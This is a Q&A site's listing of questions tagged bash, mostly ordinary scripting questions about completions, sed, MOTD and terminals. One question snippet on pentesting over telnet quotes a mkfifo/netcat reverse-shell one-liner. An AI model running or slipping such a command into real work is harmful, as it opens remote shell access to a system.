Skip to main content

Questions tagged [bash]

Bash is a free shell for Unix-like operating systems from the GNU Project.

0 votes
2 answers
84 views

Is it possible to have assignment and test in a single line in Bash?

In python I can write this piece of code: if (result := some_function()) > 0: # do some thing with result Is it possible in Bash script?
nt.dinh's user avatar
0 votes
0 answers
26 views

How can I execute a command whenever I change the PowerDevil power profile?

I have a laptop with a variable refresh rate (up to 120Hz) monitor. I want to change the refresh rate to 60 whenever I switch the power profile to "Power Save" in Powerdevil, and change it ...
StrongSand94191's user avatar
0 votes
0 answers
36 views

Trying to understand telnet behavior and pentesting reverse shell in Unix

The first not working for me and the second working on telnet session, Unix: What is the difference between: .RUN rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip 4444 >/tmp/f And ...
Amir Niko's user avatar
1 vote
1 answer
447 views

Complete overview of Bash and Zsh startup files sourcing order

I was confused in what order my shells source which files. When researching this for myself, I came across several sources online and even read some parts of the manuals for both shells. But still, ...
Silas's user avatar
  • 39
0 votes
1 answer
318 views

How to disable MOTD from Debian 12?

I am looking to disable MOTD on my Debian 12 systems. I updated my sshd_config file to not display MOTD but it is still showing up. Is it possible it is coming from another module and how can I ...
themegamenuguy99's user avatar
0 votes
1 answer
33 views

sed does not consume rest of the line

I have one line of different words stored in a txt file N/A 9.0 Yes Yes N/A N/A N/A N/A 8.8 Yes Yes N/A N/A N/A N/A 8.7 Yes Yes N/A N/A N/A N/A 9.2 Yes Yes Yes Yes Yes Yes 9.1 Yes Yes Yes Yes Yes Yes ...
Cobra Kai Dojo's user avatar
0 votes
1 answer
52 views

Match a User That Starts With a Single Letter

I've been handed a script written by another and been asked to modify it according to their needs. There's one line that needs to be altered: if [ "$user" == "nobody" ] This ...
user2090974's user avatar
0 votes
1 answer
144 views

Linux Bash Wait Command Not Working

I am trying to use and bash file .sh to start other bash files in seperate terminals. I want them to run one after the other as I use them to copy large numbers of files to the same Hard Drive. ...
Dave's user avatar
  • 1
2 votes
2 answers
76 views

Avoiding accidental execution of python scripts as bash scripts

I like to run my python scripts directly in bash like so $ ./script.py But sometimes I forget the shebang line #!/usr/bin/env python3, and it has the potential to overwrite a file named np if the ...
user1537366's user avatar
0 votes
1 answer
80 views

Why do string variables in a bash script behave differently when echo'ed than they do when passed to an executable?

I have the following script: #!/bin/bash KID3=$(command -v kid3-cli) ARG1="-c 'get'" file="'1-01 - Johann Strauss - __Waldmeister___ Ouverture.flac'" echo Command: echo "$...
Frank van Wensveen's user avatar
0 votes
0 answers
35 views

Unknown terminal: "/tmpERM"

On my Linux headless distro, i have a recurring error where when running some commands ("clear", "nvim", etc.), instead of the expected behaviour of running the command i get an ...
lo9ud's user avatar
  • 1
0 votes
0 answers
33 views

Is there any way to create a new window terminal (pseudo-terminal) using a command without setting env $DISPLAY?

I am currently building an open-source utility (plugin), which requires a new terminal window (pseudo-terminal) to become more effective whenever it gets executed. I was using gnome-terminal to ...
zenitsu's user avatar
1 vote
0 answers
21 views

How to calculate GUI used memory widget value?

OS: Kubuntu 22.04.4 LTS x86_64 to display above: neofetch --stdout |grep 'OS:' GUI = Graphical User Interface GUI used memory = see widget image below. . 2nd method to display used memeory = 2211 MB =...
joseph22's user avatar
  • 367
0 votes
2 answers
246 views

How to run command containing string variable from string variable?

I'm trying to run command containing string variable from string variable: $ X="bash -c 'echo OK'" ; $X OK': -c: line 1: unexpected EOF while looking for matching `'' Why doesn't it work? ...
pmor's user avatar
  • 368
0 votes
1 answer
60 views

Bash completions with more than one word

My command is thermostat.sh override off I can get override to complete but not the subsequent off Here is my script #/usr/bin/env bash _thermostat-completions() { if [ "${#COMP_WORDS[@]}...
Richard Barraclough's user avatar

15 30 50 per page
1
3 4
5
6 7
786